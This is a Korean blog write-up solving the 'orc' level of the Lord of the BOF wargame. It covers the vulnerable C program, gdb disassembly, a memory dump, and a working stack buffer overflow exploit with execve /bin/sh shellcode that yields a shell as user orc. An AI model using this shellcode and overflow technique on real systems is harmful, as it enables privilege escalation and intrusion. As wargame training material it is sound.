LOB goblin => orc

c0wb3ll ㅣ 2020. 3. 16. 15:54

LOB goblin => orc

문제

[goblin@localhost goblin]$ cat orc.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
[goblin@localhost goblin]$ 
  1. 버퍼의 크기는 40
  2. 인자가 없으면 오류 뱉음
  3. 환경변수 값을 모두 0으로 바꿈
  4. 인자의 48번째 바이트는 \xbf 가 아니면 문자열을 출력하고 종료함
  5. 인자를 버퍼에 옮김
  6. 버퍼를 출력함

취약점

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter 
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
  1. argv[1] 제한 없음
  2. 버퍼오버플로우

풀이

이번 문제는 환경변수를 사용할 수 없게 하고 리턴어드레스를 스택으로만 줄 수 있도록 되어 있다.

---Type <return> to continue, or q <return> to quit---
0x80485a4 <main+164>:    push   0
0x80485a6 <main+166>:    call   0x8048420 <exit>
0x80485ab <main+171>:    add    %esp,4
0x80485ae <main+174>:    mov    %esi,%esi
0x80485b0 <main+176>:    mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:    add    %eax,4
0x80485b6 <main+182>:    mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:    push   %edx
0x80485b9 <main+185>:    lea    %eax,[%ebp-40]
0x80485bc <main+188>:    push   %eax
0x80485bd <main+189>:    call   0x8048440 <strcpy>
0x80485c2 <main+194>:    add    %esp,8
0x80485c5 <main+197>:    lea    %eax,[%ebp-40]
0x80485c8 <main+200>:    push   %eax
0x80485c9 <main+201>:    push   0x8048659
0x80485ce <main+206>:    call   0x8048410 <printf>
0x80485d3 <main+211>:    add    %esp,8
0x80485d6 <main+214>:    leave  
0x80485d7 <main+215>:    ret    
0x80485d8 <main+216>:    nop    
0x80485d9 <main+217>:    nop    
0x80485da <main+218>:    nop    
0x80485db <main+219>:    nop    
0x80485dc <main+220>:    nop    
0x80485dd <main+221>:    nop    
0x80485de <main+222>:    nop    
0x80485df <main+223>:    nop    
End of assembler dump.

일단 buffer에 시작 위치는 ebp-40이다. 또한 main+200 지점에서 argv[1]이 버퍼로 옮겨간 것을 확인할 수 있다.

(gdb) b*main+200
Breakpoint 1 at 0x80485c8
(gdb) r `python -c "print 'A'*47 + '\xbf'"`
Starting program: /home/goblin/tmp/orc `python -c "print 'A'*47 + '\xbf'"`

Breakpoint 1, 0x80485c8 in main ()
(gdb) x/wx $ebp-40
0xbffffa90:    0x41414141
(gdb) 

버퍼의 시작 지점은 0xbffffa90이다.

익스코드

buffer[40] + sfp[4] + ret 로 구성 되어있는데

shellcode[25] + 'A'[19] + ret(&buffer) 로 익스코드를 짜보았다.

[goblin@localhost tmp]$ ./orc `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + 'A'*19 + '\x14\xfc\xff\xbf'"`
1픐h//shh/bin??S??째
                      ?AAAAAAAAAAAAAAAAAAA?
Segmentation fault (core dumped)
[goblin@localhost tmp]$ ls

음? 그러한데 Segmentation fault 오류가 난다. 그 이유는 gdb로 분석할 때 와 실제 프로그램이 실행됬을 때 올라가는 프로세스 주소가 다르기 때문이라고 한다. 이렇게 오류가 날 때 ( core dumped )라는 메시지와 함께 뜨면서 코어 파일을 생성해 주는데 오류가 난 시점에 프로세스 정보? 같은거라고 생각하면 될 듯 하다. 이 core파일을 분석해서 제대로 된 쉘코드를 짜야겠다.

[goblin@localhost tmp]$ gdb -q -c core
Core was generated by `./orc 1픐h//shh/bin??S??째
                                                   ?AAAAAAAAAAAAAAAAAAA??.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffc14 in ?? ()
(gdb) 

오류가 난 지점은 ret 값이 0xbffffc14로 내가 넣었던 ret값과 다르게 들어갔다. 저 ret 값을 buffer의 위치로 옳게 수정해주면 될 것 같다.

(gdb) x/100x $esp-500
0xbffff8dc:    0x00000000    0x400139d0    0x00000000    0x00000000
0xbffff8ec:    0x00000000    0x00000000    0x00000000    0x40013a08
0xbffff8fc:    0x40013a00    0x400139d8    0x400139e0    0x400139e8
0xbffff90c:    0x00000000    0x00000000    0x00000000    0x400139f0
0xbffff91c:    0x400139f8    0x00000000    0x00000000    0x400139d0
0xbffff92c:    0x40029b0e    0xbffffa00    0x400081e6    0x40029ad5
0xbffff93c:    0x40029ad5    0x40013868    0x400143e0    0x00004388
0xbffff94c:    0x40013868    0x40029b0e    0xbffffa24    0x400081e6
0xbffff95c:    0x40029ad5    0x40029ad5    0x40013868    0x400143e0
0xbffff96c:    0x0000785c    0x400081e6    0x40029ad5    0x080482f9
0xbffff97c:    0x40013868    0x40013ed0    0x00000021    0x00000075
0xbffff98c:    0x4001ad70    0x00007080    0x40029b0e    0xbffffa68
0xbffff99c:    0x00000000    0x40029ad5    0x40021df0    0x00000708
0xbffff9ac:    0x40021fd0    0x4001ad70    0x400143e0    0x00000003
0xbffff9bc:    0x40014650    0x00000001    0xbffff9dc    0x40021df0
0xbffff9cc:    0x400145e4    0x0d790266    0xbffffa58    0x4002982c
0xbffff9dc:    0x40021df0    0x400143e0    0x400140d4    0x077905a6
0xbffff9ec:    0xbffffa70    0x08048275    0x4001b630    0x400143e0
0xbffff9fc:    0x400143e0    0x40014650    0x00000001    0xbffffa20
0xbffffa0c:    0x08048184    0x400140d4    0x078e530f    0xbffffa9c
0xbffffa1c:    0x080482d0    0x40021ca0    0xbffffa5c    0x4000a7fd
0xbffffa2c:    0x400143d0    0x400146b0    0x00000007    0x4000a74e
0xbffffa3c:    0x401081ec    0x4000ae60    0xbffffb14    0x400143e0
0xbffffa4c:    0x40021df0    0x401088c0    0x4002982c    0x40021df0
0xbffffa5c:    0xbffffa8c    0x4000a970    0xbffffc4c    0xfffffe84
(gdb) 
0xbffffa6c:    0x4005d920    0x400143e0    0xbffffa8c    0x40066070
0xbffffa7c:    0x40106980    0x08048659    0xbffffa9c    0x401081ec
0xbffffa8c:    0xbffffac8    0x080485d3    0x08048659    0xbffffaa0
0xbffffa9c:    0x00000018    0x6850c031    0x68732f2f    0x69622f68
0xbffffaac:    0x50e3896e    0x89e18953    0xcd0bb0c2    0x41414180
0xbffffabc:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffacc:    0xbffffc14    0x00000000    0xbffffb14    0xbffffb20
0xbffffadc:    0x40013868    0x00000002    0x08048450    0x00000000
0xbffffaec:    0x08048471    0x08048500    0x00000002    0xbffffb14
0xbffffafc:    0x08048390    0x0804860c    0x4000ae60    0xbffffb0c
0xbffffb0c:    0x40013e90    0x00000002    0xbffffc15    0xbffffc1b
0xbffffb1c:    0x00000000    0xbffffc4c    0xbffffc61    0xbffffc7a
0xbffffb2c:    0xbffffc99    0xbffffcbb    0xbffffcc7    0xbffffe8a
0xbffffb3c:    0xbffffea9    0xbffffec5    0xbffffeda    0xbffffef8
0xbffffb4c:    0xbfffff03    0xbfffff1d    0xbfffff2c    0xbfffff34
0xbffffb5c:    0xbfffff3e    0xbfffff4e    0xbfffff5c    0xbfffff6a
0xbffffb6c:    0xbfffff7b    0xbfffff86    0xbfffff98    0xbfffffda
0xbffffb7c:    0xbfffffe2    0x00000000    0x00000003    0x08048034
0xbffffb8c:    0x00000004    0x00000020    0x00000005    0x00000006
0xbffffb9c:    0x00000006    0x00001000    0x00000007    0x40000000
0xbffffbac:    0x00000008    0x00000000    0x00000009    0x08048450
0xbffffbbc:    0x0000000b    0x000001f7    0x0000000c    0x000001f7
0xbffffbcc:    0x0000000d    0x000001f7    0x0000000e    0x000001f7
0xbffffbdc:    0x00000010    0x0f8bfbff    0x0000000f    0xbffffc10
0xbffffbec:    0x00000000    0x00000000    0x00000000    0x00000000
(gdb) 

0xbffffaa0 을 보면 내가 넣었던 shellcode의 시작부분이 있는 것을 확인할 수 있다. 저 부분으로 ret값을 변조해주자.

[goblin@localhost goblin]$ ./orc `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + 'A'*19 + '\xa0\xfa\xff\xbf'"`
1픐h//shh/bin??S??째
                      ?AAAAAAAAAAAAAAAAAAA??
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ 

성공적으로 orc의 권한을 얻었다.